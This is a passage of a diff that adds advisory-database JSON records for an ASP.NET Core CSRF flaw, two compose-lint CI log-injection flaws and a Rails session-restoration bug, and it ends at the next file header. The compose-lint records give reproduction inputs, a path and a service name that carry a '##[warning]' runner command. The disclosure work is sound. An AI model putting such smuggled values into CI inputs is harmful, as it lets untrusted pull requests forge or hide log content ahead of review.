11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-109481](https://www.cve.org/CVERecord?id=CVE-2026-109481)\n\n### Acknowledgements\n\n- [Derek Haber](https://x.com/thecowboyhacker) with [Armadin](https://armadin.com/)\n- Anonymous\n- Artur Stetsko\n- s3zer0\n- [Leonardo Souza](https://www.linkedin.com/in/capleonardo-souza) with [Delfia](https://delfia.tech/)\n- Attila.Cs(zerodaybugs.com) with https://zerodaybugs.com/\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.6.26359.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xw2x-23jm-j582/GHSA-xw2x-23jm-j582.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-xw2x-23jm-j582"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109481"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/506"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70470"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-109481"}],"database_specific":{"cwe_ids":["CWE-352"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:33:36Z","nvd_published_at":"2026-11-10T19:18:17Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/PyPI/GHSA-8v59-qmwv-4p6q.json b/data/PyPI/GHSA-8v59-qmwv-4p6q.json
new file mode 100644
index 0000000000..b0710ddadf
--- /dev/null
+++ b/data/PyPI/GHSA-8v59-qmwv-4p6q.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-8v59-qmwv-4p6q","published":"2026-11-10T21:58:53Z","modified":"2026-11-10T22:15:03.405244565Z","aliases":["CVE-2026-125123"],"summary":"compose-lint: File paths embedded in pull requests can inject CI workflow commands through command-line error messages ","details":"### Impact\n\n0.31.0 fixed GHSA-6f4g-xm8v-pgv6, where text from a Compose file became GitHub Actions workflow commands in compose-lint's output. The fix escapes the command openers in compose-lint's own output, but not in the argument parser's error messages. When a repository path reaches compose-lint's arguments without a `--` before it, the argument parser prints it raw in its error message. That includes a carriage return, which the runner treats as a line break, so a command can also start a new line there.\n\nA pull request can therefore create annotations, fold or hide parts of the job log, or issue other commands the runner accepts, when CI runs compose-lint over it, before anyone reviews it. The pass/fail result is not changed.\n\nAffected setups pass repository paths to compose-lint without a `--` before them: the pre-commit hook when `args:` is set without the documented trailing `--`, or the `compose-lint` package or Docker image called that way in a workflow. The pre-commit hook's default configuration passes `--` and is not affected. The GitHub Action turns command processing off around each compose-lint run, so it is not affected.\n\nFound during an internal pre-1.0 security review. It was first published as part of GHSA-r7j4-crjv-h467, together with four other gaps in the same fix. Each gap now has its own advisory.\n\n**Docker image.** `composelint/compose-lint` tag 0.31.0 and the matching minor tag are affected, as was `latest` while it pointed to 0.31.0.\n\nReleases before 0.31.0 are covered by GHSA-6f4g-xm8v-pgv6.\n\n### Patches\n\nFixed in 0.32.0. The argument parser's messages go through the same sanitizer as the rest of compose-lint's output.\n\n### Workarounds\n\n- Upgrade to 0.32.0 or later.\n- End the pre-commit hook's `args:` with `--`, and put `--` before file paths when calling compose-lint directly.\n- On GitHub Actions, use the `tmatens/compose-lint` Action, or bracket the compose-lint step with `::stop-commands::<random token>` and `::<token>::`, as the Action does.\n\n### Reproduction\n\nOn compose-lint 0.31.0 on a GitHub-hosted runner (runner 2.337.0), `compose-lint '--##[warning]X/compose.yml'` with no `--` creates an annotation. The same path after `--` creates none. The `composelint/compose-lint:0.31.0` image produces byte-identical output to the package.","affected":[{"package":{"name":"compose-lint","ecosystem":"PyPI","purl":"pkg:pypi/compose-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.31.0"},{"fixed":"0.32.0"}]}],"versions":["0.31.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8v59-qmwv-4p6q/GHSA-8v59-qmwv-4p6q.json"}}],"references":[{"type":"WEB","url":"https://github.com/tmatens/compose-lint/security/advisories/GHSA-8v59-qmwv-4p6q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125123"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/pull/945"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/commit/542e63126f795564a65c63887ea0dc558a500688"},{"type":"PACKAGE","url":"https://github.com/tmatens/compose-lint"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/releases/tag/v0.32.0"}],"database_specific":{"cwe_ids":["CWE-117","CWE-150"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:58:53Z","nvd_published_at":"2026-11-10T17:17:26Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N"}]}
\ No newline at end of file
diff --git a/data/PyPI/GHSA-hr4h-4c45-v4q4.json b/data/PyPI/GHSA-hr4h-4c45-v4q4.json
new file mode 100644
index 0000000000..e2753fd52d
--- /dev/null
+++ b/data/PyPI/GHSA-hr4h-4c45-v4q4.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-hr4h-4c45-v4q4","published":"2026-11-10T21:40:50Z","modified":"2026-11-10T22:00:03.806318604Z","aliases":["CVE-2026-125122"],"summary":"compose-lint: Text in a pull request can issue CI workflow commands through JSON and SARIF output on stdout","details":"### Impact\n\n0.31.0 fixed GHSA-6f4g-xm8v-pgv6, where text from a Compose file became GitHub Actions workflow commands in compose-lint's output. `--format json` and `--format sarif` output never passed through that fix, so `##[` inside a service name or other value reaches the log intact when the output is printed to stdout rather than written to a file. The runner acts on `##[` in the middle of a line, so the JSON layout does not prevent it.\n\nA pull request can therefore create annotations, fold or hide parts of the job log, or issue other commands the runner accepts, when CI runs compose-lint over it, before anyone reviews it. The pass/fail result is not changed.\n\nAffected setups print JSON or SARIF output to a CI log from the `compose-lint` package, the pre-commit hook or the Docker image. Writing that output to a file, which SARIF upload requires, is not affected. The GitHub Action turns command processing off around each compose-lint run, so it is not affected.\n\nFound during an internal pre-1.0 security review. It was first published as part of GHSA-r7j4-crjv-h467, together with four other gaps in the same fix. Each gap now has its own advisory.\n\n**Docker image.** `composelint/compose-lint` tag 0.31.0 and the matching minor tag are affected, as was `latest` while it pointed to 0.31.0.\n\nReleases before 0.31.0 are covered by GHSA-6f4g-xm8v-pgv6.\n\n### Patches\n\nFixed in 0.32.0. JSON and SARIF on stdout escape `##[` inside strings as `\\u005b`, which decodes to the same data.\n\n### Workarounds\n\n- Upgrade to 0.32.0 or later.\n- Write `--format json` and `--format sarif` output to a file rather than the log.\n- On GitHub Actions, use the `tmatens/compose-lint` Action, or bracket the compose-lint step with `::stop-commands::<random token>` and `::<token>::`, as the Action does.\n\n### Reproduction\n\nOn compose-lint 0.31.0 on a GitHub-hosted runner (runner 2.337.0), a service named `a##[warning]X`, linted with `--format json` or `--format sarif` to stdout, creates annotations. The same file linted with the text report creates none. The `composelint/compose-lint:0.31.0` image produces byte-identical output to the package.","affected":[{"package":{"name":"compose-lint","ecosystem":"PyPI","purl":"pkg:pypi/compose-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.31.0"},{"fixed":"0.32.0"}]}],"versions":["0.31.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-hr4h-4c45-v4q4/GHSA-hr4h-4c45-v4q4.json"}}],"references":[{"type":"WEB","url":"https://github.com/tmatens/compose-lint/security/advisories/GHSA-hr4h-4c45-v4q4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125122"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/pull/945"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/commit/542e63126f795564a65c63887ea0dc558a500688"},{"type":"PACKAGE","url":"https://github.com/tmatens/compose-lint"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/releases/tag/v0.32.0"}],"database_specific":{"cwe_ids":["CWE-117","CWE-150"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:40:50Z","nvd_published_at":"2026-11-10T17:17:26Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-2586-8ghr-69fj.json b/data/RubyGems/GHSA-2586-8ghr-69fj.json
new file mode 100644
index 0000000000..667f6d1358
--- /dev/null
+++ b/data/RubyGems/GHSA-2586-8ghr-69fj.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-2586-8ghr-69fj","published":"2026-11-10T21:19:09Z","modified":"2026-11-10T21:30:04.269150677Z","aliases":["CVE-2026-126076"],"summary":"Action Pack: Possible restoration of destroyed sessions in Action Dispatch CacheStore","details":"### Impact\n`ActionDispatch::Session::CacheStore` writes a session back to the cache at the end of each request that loaded it, without checking that the session's cache entry still exists. When a concurrent request destroys the session, through `reset_session` on logout or by deleting its cache entry on the server, a request that loaded the session earlier and finishes later restores it under its original session ID. Logout and server-side revocation could therefore fail to end a session, and an attacker who holds a stolen session cookie could keep that session valid across the victim's logout.\n\nApplications that use `config.session_store :cache_store` are affected, with any cache backend. `ActionDispatch::Session::CookieStore` is not affected, nor is `ActionDispatch::Session::MemCacheStore` with Dalli 4.0.0 or later, whose session store does not write back a session that was deleted.\n\n### Details\nThe fixed releases record which session a request loaded and skip the write when that session's cache entry no longer exists. Changes that such a request makes to the destroyed session are discarded, and Rack logs a warning that the session could not be saved. Each request that writes back a session it loaded makes one additional cache read.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/d479192cf88a8b30a335a8bc25188a2d8e0f8d9f.patch\n- 8.0: https://github.com/rails/rails/commit/5bb5ec66ed8faaf590ffe1222d7a5eb6e9d050f5.patch\n\n### Credit\nFound by the team during internal code review.","affected":[{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2586-8ghr-69fj/GHSA-2586-8ghr-69fj.json"}},{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.9.0","0.9.5","1.0.0","1.0.1","1.1.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.2.0","1.3.0","1.3.1","1.4.0","1.5.0","1.5.1","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","1.9.1","2.0.0","2.0.1","2.0.2","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.2.2","2.2.3","2.3.10","2.3.11","2.3.12","2.3.14","2.3.15","2.3.16","2.3.17","2.3.18","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.8.pre1","2.3.9","2.3.9.pre","3.0.0","3.0.0.beta","3.0.0.beta2","3.0.0.beta3","3.0.0.beta4","3.0.0.rc","3.0.0.rc2","3.0.1","3.0.10","3.0.10.rc1","3.0.11","3.0.12","3.0.12.rc1","3.0.13","3.0.13.rc1","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.19","3.0.2","3.0.20","3.0.3","3.0.4","3.0.4.rc1","3.0.5","3.0.5.rc1","3.0.6","3.0.6.rc1","3.0.6.rc2","3.0.7","3.0.7.rc1","3.0.7.rc2","3.0.8","3.0.8.rc1","3.0.8.rc2","3.0.8.rc4","3.0.9","3.0.9.rc1","3.0.9.rc3","3.0.9.rc4","3.0.9.rc5","3.1.0","3.1.0.beta1","3.1.0.rc1","3.1.0.rc2","3.1.0.rc3","3.1.0.rc4","3.1.0.rc5","3.1.0.rc6","3.1.0.rc8","3.1.1","3.1.1.rc1","3.1.1.rc2","3.1.1.rc3","3.1.10","3.1.11","3.1.12","3.1.2","3.1.2.rc1","3.1.2.rc2","3.1.3","3.1.4","3.1.4.rc1","3.1.5","3.1.5.rc1","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0.rc1","3.2.0.rc2","3.2.1","3.2.10","3.2.11","3.2.12","3.2.13","3.2.13.rc1","3.2.13.rc2","3.2.14","3.2.14.rc1","3.2.14.rc2","3.2.15","3.2.15.rc1","3.2.15.rc2","3.2.15.rc3","3.2.16","3.2.17","3.2.18","3.2.19","3.2.2","3.2.2.rc1","3.2.20","3.2.21","3.2.22","3.2.22.1","3.2.22.2","3.2.22.3","3.2.22.4","3.2.22.5","3.2.3","3.2.3.rc1","3.2.3.rc2","3.2.4","3.2.4.rc1","3.2.5","3.2.6","3.2.7","3.2.7.rc1","3.2.8","3.2.8.rc1","3.2.8.rc2","3.2.9","3.2.9.rc1","3.2.9.rc2","3.2.9.rc3","4.0.0","4.0.0.beta1","4.0.0.rc1","4.0.0.rc2","4.0.1","4.0.1.rc1","4.0.1.rc2","4.0.1.rc3","4.0.1.rc4","4.0.10","4.0.10.rc1","4.0.10.rc2","4.0.11","4.0.11.1","4.0.12","4.0.13","4.0.13.rc1","4.0.2","4.0.3","4.0.4","4.0.4.rc1","4.0.5","4.0.6","4.0.6.rc1","4.0.6.rc2","4.0.6.rc3","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2586-8ghr-69fj/GHSA-2586-8ghr-69fj.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-2586-8ghr-69fj"},{"type":"WEB","url":"https://github.com/rails/rails/commit/5bb5ec66ed8faaf590ffe1222d7a5eb6e9d050f5"},{"type":"WEB","url":"https://github.com/rails/rails/commit/d479192cf88a8b30a335a8bc25188a2d8e0f8d9f"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/GHSA-2586-8ghr-69fj.yml"}],"database_specific":{"cwe_ids":["CWE-613"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:19:09Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-2gff-2mmg-m73p.json b/data/RubyGems/GHSA-2gff-2mmg-m73p.json
new file mode 100644
index 0000000000..62075a6ebd
--- /dev/null
+++ b/data/RubyGems/GHSA-2gff-2mmg-m73p.json
